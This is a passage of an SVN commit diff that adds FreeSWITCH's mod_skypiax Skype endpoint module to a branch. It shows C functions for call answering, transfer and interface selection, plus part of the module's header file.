+
+	if (!switch_strlen_zero(tech_pvt->session_uuid_str)) {
+		session = switch_core_session_locate(tech_pvt->session_uuid_str);
+	} else {
+		ERRORA("No session???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+	if (session) {
+		channel = switch_core_session_get_channel(session);
+	} else {
+		ERRORA("No session???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+	if (channel) {
+		switch_channel_mark_ring_ready(channel);
+		DEBUGA_SKYPE("skype_call: REMOTE PARTY RINGING\n", SKYPIAX_P_LOG);
+	} else {
+		ERRORA("No channel???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+
+	switch_core_session_rwunlock(session);
+
+  done:
+	return 0;
+}
+
+int remote_party_is_early_media(private_t * tech_pvt)
+{
+	switch_core_session_t *session = NULL;
+	switch_channel_t *channel = NULL;
+
+	if (!switch_strlen_zero(tech_pvt->session_uuid_str)) {
+		session = switch_core_session_locate(tech_pvt->session_uuid_str);
+	} else {
+		ERRORA("No session???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+	if (session) {
+		channel = switch_core_session_get_channel(session);
+		switch_core_session_add_stream(session, NULL);
+	} else {
+		ERRORA("No session???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+	if (channel) {
+		switch_channel_mark_pre_answered(channel);
+		DEBUGA_SKYPE("skype_call: REMOTE PARTY EARLY MEDIA\n", SKYPIAX_P_LOG);
+	} else {
+		ERRORA("No channel???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+
+	switch_core_session_rwunlock(session);
+
+  done:
+	return 0;
+}
+
+int outbound_channel_answered(private_t * tech_pvt)
+{
+	switch_core_session_t *session = NULL;
+	switch_channel_t *channel = NULL;
+
+	if (!switch_strlen_zero(tech_pvt->session_uuid_str)) {
+		session = switch_core_session_locate(tech_pvt->session_uuid_str);
+	} else {
+		ERRORA("No session???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+	if (session) {
+		channel = switch_core_session_get_channel(session);
+	} else {
+		ERRORA("No session???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+	if (channel) {
+		switch_channel_mark_answered(channel);
+		//DEBUGA_SKYPE("skype_call: %s, answered\n", SKYPIAX_P_LOG, id);
+	} else {
+		ERRORA("No channel???\n", SKYPIAX_P_LOG);
+		goto done;
+	}
+
+	switch_core_session_rwunlock(session);
+
+  done:
+	DEBUGA_SKYPE("HERE!\n", SKYPIAX_P_LOG);
+
+	return 0;
+}
+
+private_t *find_available_skypiax_interface(private_t * tech_pvt)
+{
+	private_t *tech_pvt2 = NULL;
+	int found = 0;
+	int i;
+
+	switch_mutex_lock(globals.mutex);
+
+	for (i = 0; !found && i < SKYPIAX_MAX_INTERFACES; i++) {
+		if (strlen(globals.SKYPIAX_INTERFACES[i].name)) {
+			int skype_state = 0;
+
+			tech_pvt2 = &globals.SKYPIAX_INTERFACES[i];
+			skype_state = tech_pvt2->interface_state;
+			DEBUGA_SKYPE("skype interface: %d, name: %s, state: %d\n", SKYPIAX_P_LOG, i, globals.SKYPIAX_INTERFACES[i].name, skype_state);
+			if ((tech_pvt ? strcmp(tech_pvt2->skype_user, tech_pvt->skype_user) : 1) && (SKYPIAX_STATE_DOWN == skype_state || SKYPIAX_STATE_RING == skype_state || 0 == skype_state)) {	//(if we got tech_pvt NOT NULL) if user is NOT the same, and iface is idle
+				found = 1;
+				break;
+			}
+		}
+	}
+
+	switch_mutex_unlock(globals.mutex);
+	if (found)
+		return tech_pvt2;
+	else
+		return NULL;
+}
+
+private_t *find_available_skypiax_interface_rr(void)
+{
+	private_t *tech_pvt = NULL;
+	int i;
+	//int num_interfaces = SKYPIAX_MAX_INTERFACES; 
+	//int num_interfaces = globals.real_interfaces;
+
+	switch_mutex_lock(globals.mutex);
+
+	/* Fact is the real interface start from 1 */
+	//XXX no, is just a convention, but you can have it start from 0. I do not, for aestetic reasons :-)  
+	//if (globals.next_interface == 0) globals.next_interface = 1;
+
+	for (i = 0; i < SKYPIAX_MAX_INTERFACES; i++) {
+		int interface_id;
+
+		interface_id = globals.next_interface;
+		//interface_id = interface_id < SKYPIAX_MAX_INTERFACES ? interface_id : interface_id - SKYPIAX_MAX_INTERFACES + 1;
+		globals.next_interface = interface_id + 1 < SKYPIAX_MAX_INTERFACES ? interface_id + 1 : 0;
+
+		if (strlen(globals.SKYPIAX_INTERFACES[interface_id].name)) {
+			int skype_state = 0;
+
+			tech_pvt = &globals.SKYPIAX_INTERFACES[interface_id];
+			skype_state = tech_pvt->interface_state;
+			DEBUGA_SKYPE("skype interface: %d, name: %s, state: %d\n", SKYPIAX_P_LOG, interface_id,
+						 globals.SKYPIAX_INTERFACES[interface_id].name, skype_state);
+			if (SKYPIAX_STATE_DOWN == skype_state || 0 == skype_state) {
+				/*set to Dialing state to avoid other thread fint it, don't know if it is safe */
+				//XXX no, it's not safe 
+				//tech_pvt->interface_state = SKYPIAX_STATE_DIALING ;
+
+				switch_mutex_unlock(globals.mutex);
+				return tech_pvt;
+			}
+		}						// else {
+		//DEBUGA_SKYPE("Skype interface: %d blank!! A hole here means we cannot hunt the last interface.\n", SKYPIAX_P_LOG, interface_id);
+		//}
+	}
+
+	switch_mutex_unlock(globals.mutex);
+	return NULL;
+}
+
+SWITCH_STANDARD_API(sk_function)
+{
+	char *mycmd = NULL, *argv[10] = { 0 };
+	int argc = 0;
+
+	if (globals.sk_console)
+		stream->write_function(stream, "sk console is: |||%s|||\n", globals.sk_console->name);
+	else
+		stream->write_function(stream, "sk console is NOT yet assigned\n");
+
+	if (!switch_strlen_zero(cmd) && (mycmd = strdup(cmd))) {
+		argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+	}
+
+	if (!argc || !argv[0]) {
+		stream->write_function(stream, "%s", SK_SYNTAX);
+		goto end;
+	}
+
+	if (!strcasecmp(argv[0], "list")) {
+		int i;
+		char next_flag_char = ' ';
+
+		for (i = 0; i < SKYPIAX_MAX_INTERFACES; i++) {
+			next_flag_char = i == globals.next_interface ? '*' : ' ';
+
+			if (strlen(globals.SKYPIAX_INTERFACES[i].name)) {
+				if (strlen(globals.SKYPIAX_INTERFACES[i].session_uuid_str)) {
+					stream->write_function(stream,
+										   "%c\t%d\t[%s]\tBUSY, session_uuid_str=|||%s|||\n",
+										   next_flag_char, i, globals.SKYPIAX_INTERFACES[i].name, globals.SKYPIAX_INTERFACES[i].session_uuid_str);
+				} else {
+					stream->write_function(stream, "%c\t%d\t[%s]\tIDLE\n", next_flag_char, i, globals.SKYPIAX_INTERFACES[i].name);
+				}
+			} else if (argc > 1 && !strcasecmp(argv[1], "full")) {
+				stream->write_function(stream, "%c\t%d\n", next_flag_char, i);
+			}
+
+		}
+		stream->write_function(stream, "\nTotal: %d\n", globals.real_interfaces - 1);
+
+	} else if (!strcasecmp(argv[0], "console")) {
+		int i;
+		int found = 0;
+
+		if (argc == 2) {
+			for (i = 0; !found && i < SKYPIAX_MAX_INTERFACES; i++) {
+				/* we've been asked for a normal interface name, or we have not found idle interfaces to serve as the "ANY" interface */
+				if (strlen(globals.SKYPIAX_INTERFACES[i].name)
+					&& (strncmp(globals.SKYPIAX_INTERFACES[i].name, argv[1], strlen(argv[1])) == 0)) {
+					globals.sk_console = &globals.SKYPIAX_INTERFACES[i];
+					stream->write_function(stream,
+										   "sk console is now: globals.SKYPIAX_INTERFACES[%d].name=|||%s|||\n", i, globals.SKYPIAX_INTERFACES[i].name);
+					stream->write_function(stream, "sk console is: |||%s|||\n", globals.sk_console->name);
+					found = 1;
+					break;
+				}
+
+			}
+			if (!found)
+				stream->write_function(stream, "ERROR: A Skypiax interface with name='%s' was not found\n", argv[1]);
+		} else {
+
+			stream->write_function(stream, "-ERR Usage: sk console interface_name\n");
+			goto end;
+		}
+
+	} else if (!strcasecmp(argv[0], "ciapalino")) {
+
+/* BEGIN: Changes heres */
+	} else if (!strcasecmp(argv[0], "reload")) {
+		if (load_config(SOFT_RELOAD) != SWITCH_STATUS_SUCCESS) {
+			stream->write_function(stream, "sk reload failed\n");
+		} else {
+			stream->write_function(stream, "sk reload success\n");
+		}
+	} else if (!strcasecmp(argv[0], "remove")) {
+		if (argc == 2) {
+			if (remove_interface(argv[1]) == SWITCH_STATUS_SUCCESS) {
+				if (interface_exists(argv[1]) == SWITCH_STATUS_SUCCESS) {
+					stream->write_function(stream, "sk remove '%s' failed\n", argv[1]);
+				} else {
+					stream->write_function(stream, "sk remove '%s' success\n", argv[1]);
+				}
+			}
+		} else {
+			stream->write_function(stream, "-ERR Usage: sk remove interface_name\n");
+			goto end;
+		}
+/* END: Changes heres */
+
+	} else {
+		if (globals.sk_console)
+			skypiax_signaling_write(globals.sk_console, (char *) cmd);
+		else
+			stream->write_function(stream, "sk console is NOT yet assigned\n");
+	}
+  end:
+	switch_safe_free(mycmd);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_STANDARD_API(skypiax_function)
+{
+	char *mycmd = NULL, *argv[10] = { 0 };
+	int argc = 0;
+	private_t *tech_pvt = NULL;
+
+	if (!switch_strlen_zero(cmd) && (mycmd = strdup(cmd))) {
+		argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+	}
+
+	if (!argc) {
+		stream->write_function(stream, "ERROR, usage: %s", SKYPIAX_SYNTAX);
+		goto end;
+	}
+
+	if (argc < 2) {
+		stream->write_function(stream, "ERROR, usage: %s", SKYPIAX_SYNTAX);
+		goto end;
+	}
+
+	if (argv[0]) {
+		int i;
+		int found = 0;
+
+		for (i = 0; !found && i < SKYPIAX_MAX_INTERFACES; i++) {
+			/* we've been asked for a normal interface name, or we have not found idle interfaces to serve as the "ANY" interface */
+			if (strlen(globals.SKYPIAX_INTERFACES[i].name)
+				&& (strncmp(globals.SKYPIAX_INTERFACES[i].name, argv[0], strlen(argv[0])) == 0)) {
+				tech_pvt = &globals.SKYPIAX_INTERFACES[i];
+				stream->write_function(stream, "Using interface: globals.SKYPIAX_INTERFACES[%d].name=|||%s|||\n", i, globals.SKYPIAX_INTERFACES[i].name);
+				found = 1;
+				break;
+			}
+
+		}
+		if (!found) {
+			stream->write_function(stream, "ERROR: A Skypiax interface with name='%s' was not found\n", argv[0]);
+			switch_safe_free(mycmd);
+
+			return SWITCH_STATUS_SUCCESS;
+		} else {
+			skypiax_signaling_write(tech_pvt, (char *) &cmd[strlen(argv[0]) + 1]);
+		}
+	} else {
+		stream->write_function(stream, "ERROR, usage: %s", SKYPIAX_SYNTAX);
+	}
+  end:
+	switch_safe_free(mycmd);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+int skypiax_answer(private_t * tech_pvt, char *id, char *value)
+{
+	char msg_to_skype[1024];
+	int i;
+	int found = 0;
+	private_t *giovatech;
+	struct timeval timenow;
+
+	switch_mutex_lock(globals.mutex);
+
+	gettimeofday(&timenow, NULL);
+	for (i = 0; !found && i < SKYPIAX_MAX_INTERFACES; i++) {
+		if (strlen(globals.SKYPIAX_INTERFACES[i].name)) {
+
+			giovatech = &globals.SKYPIAX_INTERFACES[i];
+			//NOTICA("skype interface: %d, name: %s, state: %d, value=%s, giovatech->callid_number=%s, giovatech->skype_user=%s\n", SKYPIAX_P_LOG, i, giovatech->name, giovatech->interface_state, value, giovatech->callid_number, giovatech->skype_user);
+			//FIXME check a timestamp here
+			if (strlen(giovatech->skype_call_id) && (giovatech->interface_state != SKYPIAX_STATE_DOWN) && (!strcmp(giovatech->skype_user, tech_pvt->skype_user)) && (!strcmp(giovatech->callid_number, value)) && ((((timenow.tv_sec - giovatech->answer_time.tv_sec) * 1000000) + (timenow.tv_usec - giovatech->answer_time.tv_usec)) < 500000)) {	//0.5sec
+				found = 1;
+				DEBUGA_SKYPE
+					("FOUND  (name=%s, giovatech->interface_state=%d != SKYPIAX_STATE_DOWN) && (giovatech->skype_user=%s == tech_pvt->skype_user=%s) && (giovatech->callid_number=%s == value=%s)\n",
+					 SKYPIAX_P_LOG, giovatech->name, giovatech->interface_state,
+					 giovatech->skype_user, tech_pvt->skype_user, giovatech->callid_number, value)
+					if(tech_pvt->interface_state == SKYPIAX_STATE_PRERING){
+						tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+					}else if (tech_pvt->interface_state != 0 && tech_pvt->interface_state != SKYPIAX_STATE_DOWN) {
+						WARNINGA("Why an interface_state %d HERE?\n", SKYPIAX_P_LOG, tech_pvt->interface_state);
+						tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+					}
+
+				break;
+			}
+		}
+	}
+
+	if (found) {
+		//tech_pvt->callid_number[0]='\0';
+		switch_mutex_unlock(globals.mutex);
+		return 0;
+	}
+	DEBUGA_SKYPE("NOT FOUND\n", SKYPIAX_P_LOG);
+
+	if (tech_pvt && tech_pvt->skype_call_id && !strlen(tech_pvt->skype_call_id)) {
+		/* we are not inside an active call */
+
+		sprintf(msg_to_skype, "GET CALL %s PARTNER_DISPNAME", id);
+		skypiax_signaling_write(tech_pvt, msg_to_skype);
+		switch_sleep(10000);
+		sprintf(msg_to_skype, "ALTER CALL %s ANSWER", id);
+		skypiax_signaling_write(tech_pvt, msg_to_skype);
+		DEBUGA_SKYPE("We answered a Skype RING on skype_call %s\n", SKYPIAX_P_LOG, id);
+		//FIXME write a timestamp here
+		gettimeofday(&tech_pvt->answer_time, NULL);
+		switch_copy_string(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+
+		switch_copy_string(tech_pvt->callid_number, value, sizeof(tech_pvt->callid_number) - 1);
+
+		DEBUGA_SKYPE
+			("NEW!  name: %s, state: %d, value=%s, tech_pvt->callid_number=%s, tech_pvt->skype_user=%s\n",
+			 SKYPIAX_P_LOG, tech_pvt->name, tech_pvt->interface_state, value, tech_pvt->callid_number, tech_pvt->skype_user);
+	} else if (!tech_pvt || !tech_pvt->skype_call_id) {
+		ERRORA("No Call ID?\n", SKYPIAX_P_LOG);
+	} else {
+		ERRORA("We're in a call now %s\n", SKYPIAX_P_LOG, tech_pvt->skype_call_id);
+	}
+
+	switch_mutex_unlock(globals.mutex);
+	return 0;
+}
+int skypiax_transfer(private_t * tech_pvt, char *id, char *value)
+{
+	char msg_to_skype[1024];
+	int i;
+	int found = 0;
+	private_t *giovatech;
+	struct timeval timenow;
+
+	switch_mutex_lock(globals.mutex);
+
+	gettimeofday(&timenow, NULL);
+	for (i = 0; !found && i < SKYPIAX_MAX_INTERFACES; i++) {
+		if (strlen(globals.SKYPIAX_INTERFACES[i].name)) {
+
+			giovatech = &globals.SKYPIAX_INTERFACES[i];
+			//NOTICA("skype interface: %d, name: %s, state: %d, value=%s, giovatech->callid_number=%s, giovatech->skype_user=%s\n", SKYPIAX_P_LOG, i, giovatech->name, giovatech->interface_state, value, giovatech->callid_number, giovatech->skype_user);
+			//FIXME check a timestamp here
+			if (strlen(giovatech->skype_call_id) && (giovatech->interface_state != SKYPIAX_STATE_DOWN) && (!strcmp(giovatech->skype_user, tech_pvt->skype_user)) && (!strcmp(giovatech->callid_number, value)) && ((((timenow.tv_sec - giovatech->answer_time.tv_sec) * 1000000) + (timenow.tv_usec - giovatech->answer_time.tv_usec)) < 500000)) {	//0.5sec
+				found = 1;
+				DEBUGA_SKYPE
+					("FOUND  (name=%s, giovatech->interface_state=%d != SKYPIAX_STATE_DOWN) && (giovatech->skype_user=%s == tech_pvt->skype_user=%s) && (giovatech->callid_number=%s == value=%s)\n",
+					 SKYPIAX_P_LOG, giovatech->name, giovatech->interface_state,
+					 giovatech->skype_user, tech_pvt->skype_user, giovatech->callid_number, value)
+					break;
+			}
+		}
+	}
+
+	if (found) {
+		//tech_pvt->callid_number[0]='\0';
+		switch_mutex_unlock(globals.mutex);
+		return 0;
+	}
+	DEBUGA_SKYPE("NOT FOUND\n", SKYPIAX_P_LOG);
+
+	if (!tech_pvt || !tech_pvt->skype_call_id || !strlen(tech_pvt->skype_call_id)) {
+		/* we are not inside an active call */
+		ERRORA("We're NO MORE in a call now %s\n", SKYPIAX_P_LOG, (tech_pvt && tech_pvt->skype_call_id) ? tech_pvt->skype_call_id : "");
+		switch_mutex_unlock(globals.mutex);
+
+	} else {
+
+		/* we're owned, we're in a call, let's try to transfer */
+		/************************** TODO
+		  Checking here if it is possible to transfer this call to Test2
+		  -> GET CALL 288 CAN_TRANSFER Test2
+		  <- CALL 288 CAN_TRANSFER test2 TRUE
+		 **********************************/
+
+		private_t *available_skypiax_interface = NULL;
+
+		gettimeofday(&timenow, NULL);
+		for (i = 0; !found && i < SKYPIAX_MAX_INTERFACES; i++) {
+			if (strlen(globals.SKYPIAX_INTERFACES[i].name)) {
+
+				giovatech = &globals.SKYPIAX_INTERFACES[i];
+				//NOTICA("skype interface: %d, name: %s, state: %d, value=%s, giovatech->callid_number=%s, giovatech->skype_user=%s\n", SKYPIAX_P_LOG, i, giovatech->name, giovatech->interface_state, value, giovatech->callid_number, giovatech->skype_user);
+				//FIXME check a timestamp here
+				if (strlen(giovatech->skype_transfer_call_id) && (giovatech->interface_state != SKYPIAX_STATE_DOWN) && (!strcmp(giovatech->skype_user, tech_pvt->skype_user)) && (!strcmp(giovatech->transfer_callid_number, value)) && ((((timenow.tv_sec - giovatech->transfer_time.tv_sec) * 1000000) + (timenow.tv_usec - giovatech->transfer_time.tv_usec)) < 1000000)) {	//1.0 sec
+					found = 1;
+					DEBUGA_SKYPE
+						("FOUND  (name=%s, giovatech->interface_state=%d != SKYPIAX_STATE_DOWN) && (giovatech->skype_user=%s == tech_pvt->skype_user=%s) && (giovatech->transfer_callid_number=%s == value=%s)\n",
+						 SKYPIAX_P_LOG, giovatech->name, giovatech->interface_state,
+						 giovatech->skype_user, tech_pvt->skype_user, giovatech->transfer_callid_number, value)
+						break;
+				}
+			}
+		}
+
+		if (found) {
+			//tech_pvt->callid_number[0]='\0';
+			switch_mutex_unlock(globals.mutex);
+			return 0;
+		}
+		DEBUGA_SKYPE("NOT FOUND\n", SKYPIAX_P_LOG);
+
+		available_skypiax_interface = find_available_skypiax_interface(tech_pvt);
+		if (available_skypiax_interface) {
+			/* there is a skypiax interface idle, let's transfer the call to it */
+
+			//FIXME write a timestamp here
+			gettimeofday(&tech_pvt->transfer_time, NULL);
+			switch_copy_string(tech_pvt->skype_transfer_call_id, id, sizeof(tech_pvt->skype_transfer_call_id) - 1);
+
+			switch_copy_string(tech_pvt->transfer_callid_number, value, sizeof(tech_pvt->transfer_callid_number) - 1);
+
+			DEBUGA_SKYPE
+				("Let's transfer the skype_call %s to %s interface (with skype_user: %s), because we are already in a skypiax call(%s)\n",
+				 SKYPIAX_P_LOG, tech_pvt->skype_call_id, available_skypiax_interface->name, available_skypiax_interface->skype_user, id);
+			sprintf(msg_to_skype, "ALTER CALL %s TRANSFER %s", id, available_skypiax_interface->skype_user);
+			skypiax_signaling_write(tech_pvt, msg_to_skype);
+		} else {
+			/* no skypiax interfaces idle, do nothing */
+			DEBUGA_SKYPE
+				("Not answering the skype_call %s, because we are already in a skypiax call(%s) and no other skypiax interfaces are available OR another interface is answering this call\n",
+				 SKYPIAX_P_LOG, tech_pvt->skype_call_id, id);
+			//sprintf(msg_to_skype, "ALTER CALL %s END HANGUP", id);
+		}
+		switch_sleep(10000);
+		DEBUGA_SKYPE
+			("We (%s) have NOT answered a Skype RING on skype_call %s, because we are already in a skypiax call\n",
+			 SKYPIAX_P_LOG, tech_pvt->skype_call_id, id);
+
+		switch_mutex_unlock(globals.mutex);
+	}
+	return 0;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/skypiax.h

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/skypiax.h (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax.h) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/skypiax.h	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/skypiax.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,284 @@
+/*
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * This module (mod_skypiax) has been contributed by:
+ *
+ * Giovanni Maruzzelli (gmaruzz@gmail.com)
+ *
+ *
+ * Further Contributors:
+ *
+ *
+ *
+ * mod_skypiax.c -- Skype compatible Endpoint Module
+ *
+ */
+
+#include <switch.h>
+#include <switch_version.h>
+
+#ifndef WIN32
+#include <sys/time.h>
+#include <X11/Xlib.h>
+#include <X11/Xlibint.h>
+#include <X11/Xatom.h>
+#endif //WIN32
+
+#ifdef _MSC_VER
+//Windows macro  for FD_SET includes a warning C4127: conditional expression is constant
+#pragma warning(push)
+#pragma warning(disable:4127)
+#endif
+
+#define SAMPLERATE_SKYPIAX 16000
+#define SAMPLES_PER_FRAME SAMPLERATE_SKYPIAX/50
+
+#ifndef SKYPIAX_SVN_VERSION
+#define SKYPIAX_SVN_VERSION SWITCH_VERSION_REVISION
+#endif /* SKYPIAX_SVN_VERSION */
+
+typedef enum {
+	TFLAG_IO = (1 << 0),
+	TFLAG_INBOUND = (1 << 1),
+	TFLAG_OUTBOUND = (1 << 2),
+	TFLAG_DTMF = (1 << 3),
+	TFLAG_VOICE = (1 << 4),
+	TFLAG_HANGUP = (1 << 5),
+	TFLAG_LINEAR = (1 << 6),
+	TFLAG_CODEC = (1 << 7),
+	TFLAG_BREAK = (1 << 8)
+} TFLAGS;
+
+typedef enum {
+	GFLAG_MY_CODEC_PREFS = (1 << 0)
+} GFLAGS;
+
+#define DEBUGA_SKYPE(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SKYPE  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define DEBUGA_CALL(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_CALL  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define DEBUGA_PBX(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_PBX  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define ERRORA(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][ERRORA  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define WARNINGA(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][WARNINGA  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define NOTICA(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][NOTICA  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+
+#define SKYPIAX_P_LOG NULL, (unsigned long)55, __LINE__, tech_pvt ? tech_pvt->name ? tech_pvt->name : "none" : "none", -1, tech_pvt ? tech_pvt->interface_state : -1, tech_pvt ? tech_pvt->skype_callflow : -1
+
+/*********************************/
+#define SKYPIAX_CAUSE_NORMAL		1
+/*********************************/
+#define SKYPIAX_FRAME_DTMF			1
+/*********************************/
+#define SKYPIAX_CONTROL_RINGING		1
+#define SKYPIAX_CONTROL_ANSWER		2
+
+/*********************************/
+#define		SKYPIAX_STATE_DOWN		1
+#define		SKYPIAX_STATE_RING		2
+#define		SKYPIAX_STATE_DIALING	3
+#define		SKYPIAX_STATE_BUSY		4
+#define		SKYPIAX_STATE_UP		5
+#define		SKYPIAX_STATE_RINGING	6
+#define		SKYPIAX_STATE_PRERING	7
+/*********************************/
+/* call flow from the device */
+#define 	CALLFLOW_CALL_IDLE  SKYPIAX_STATE_DOWN
+#define 	CALLFLOW_INCOMING_RING  SKYPIAX_STATE_RING
+#define 	CALLFLOW_CALL_DIALING   SKYPIAX_STATE_DIALING
+#define 	CALLFLOW_CALL_LINEBUSY   SKYPIAX_STATE_BUSY
+#define 	CALLFLOW_CALL_ACTIVE   300
+#define 	CALLFLOW_INCOMING_HANGUP   100
+#define 	CALLFLOW_CALL_RELEASED   101
+#define 	CALLFLOW_CALL_NOCARRIER   102
+#define 	CALLFLOW_CALL_INFLUX   103
+#define 	CALLFLOW_CALL_INCOMING   104
+#define 	CALLFLOW_CALL_FAILED   105
+#define 	CALLFLOW_CALL_NOSERVICE   106
+#define 	CALLFLOW_CALL_OUTGOINGRESTRICTED   107
+#define 	CALLFLOW_CALL_SECURITYFAIL   108
+#define 	CALLFLOW_CALL_NOANSWER   109
+#define 	CALLFLOW_STATUS_FINISHED   110
+#define 	CALLFLOW_STATUS_CANCELLED   111
+#define 	CALLFLOW_STATUS_FAILED   112
+#define 	CALLFLOW_STATUS_REFUSED   113
+#define 	CALLFLOW_STATUS_RINGING   114
+#define 	CALLFLOW_STATUS_INPROGRESS   115
+#define 	CALLFLOW_STATUS_UNPLACED   116
+#define 	CALLFLOW_STATUS_ROUTING   117
+#define 	CALLFLOW_STATUS_EARLYMEDIA   118
+#define 	SKYPIAX_STATE_HANGUP_REQUESTED   200
+  //FIXME CALLFLOW_INCOMING_CALLID to be removed
+#define 	CALLFLOW_INCOMING_CALLID   1019
+#define 	CALLFLOW_STATUS_REMOTEHOLD   201
+
+/*********************************/
+
+#define SKYPIAX_MAX_INTERFACES 64
+
+#ifndef WIN32
+struct SkypiaxHandles {
+	Window skype_win;
+	Display *disp;
+	Window win;
+	int currentuserhandle;
+	int api_connected;
+	int fdesc[2];
+};
+#else //WIN32
+
+struct SkypiaxHandles {
+	HWND win32_hInit_MainWindowHandle;
+	HWND win32_hGlobal_SkypeAPIWindowHandle;
+	HINSTANCE win32_hInit_ProcessHandle;
+	char win32_acInit_WindowClassName[128];
+	UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
+	UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
+	int currentuserhandle;
+	int api_connected;
+	switch_file_t *fdesc[2];
+};
+
+#endif //WIN32
+
+struct private_object {
+	unsigned int flags;
+	switch_codec_t read_codec;
+	switch_codec_t write_codec;
+	switch_frame_t read_frame;
+	unsigned char databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+	char session_uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
+	switch_caller_profile_t *caller_profile;
+	switch_mutex_t *mutex;
+	switch_mutex_t *flag_mutex;
+
+	char interface_id[80];
+	char name[80];
+	char dialplan[80];
+	char context[80];
+	char dial_regex[256];
+	char fail_dial_regex[256];
+	char hold_music[256];
+	char type[256];
+	char X11_display[256];
+#ifdef WIN32
+	unsigned short tcp_cli_port;
+	unsigned short tcp_srv_port;
+#else
+	int tcp_cli_port;
+	int tcp_srv_port;
+#endif
+	struct SkypiaxHandles SkypiaxHandles;
+
+	int interface_state;		/*!< \brief 'state' of the interface (channel) */
+	char language[80];			/*!< \brief default Asterisk dialplan language for this interface */
+	char exten[80];				/*!< \brief default Asterisk dialplan extension for this interface */
+	int skypiax_sound_rate;		/*!< \brief rate of the sound device, in Hz, eg: 8000 */
+	char callid_name[50];
+	char callid_number[50];
+	double playback_boost;
+	double capture_boost;
+	int stripmsd;
+	char skype_call_id[512];
+	int skype_call_ongoing;
+	char skype_friends[4096];
+	char skype_fullname[512];
+	char skype_displayname[512];
+	int skype_callflow;			/*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
+	int skype;					/*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
+	int control_to_send;
+#ifdef WIN32
+	switch_file_t *audiopipe[2];
+	switch_file_t *audioskypepipe[2];
+	switch_file_t *skypiax_sound_capt_fd;	/*!< \brief file descriptor for sound capture dev */
+#else							/* WIN32 */
+	int audiopipe[2];
+	int audioskypepipe[2];
+	int skypiax_sound_capt_fd;	/*!< \brief file descriptor for sound capture dev */
+#endif							/* WIN32 */
+	switch_thread_t *tcp_srv_thread;
+	switch_thread_t *tcp_cli_thread;
+	switch_thread_t *skypiax_signaling_thread;
+	switch_thread_t *skypiax_api_thread;
+	short audiobuf[SAMPLES_PER_FRAME];
+	int audiobuf_is_loaded;
+
+	//int phonebook_listing;
+	//int phonebook_querying;
+	//int phonebook_listing_received_calls;
+
+	//int phonebook_first_entry;
+	//int phonebook_last_entry;
+	//int phonebook_number_lenght;
+	//int phonebook_text_lenght;
+	FILE *phonebook_writing_fp;
+	int skypiax_dir_entry_extension_prefix;
+	char skype_user[256];
+	char skype_password[256];
+	char destination[256];
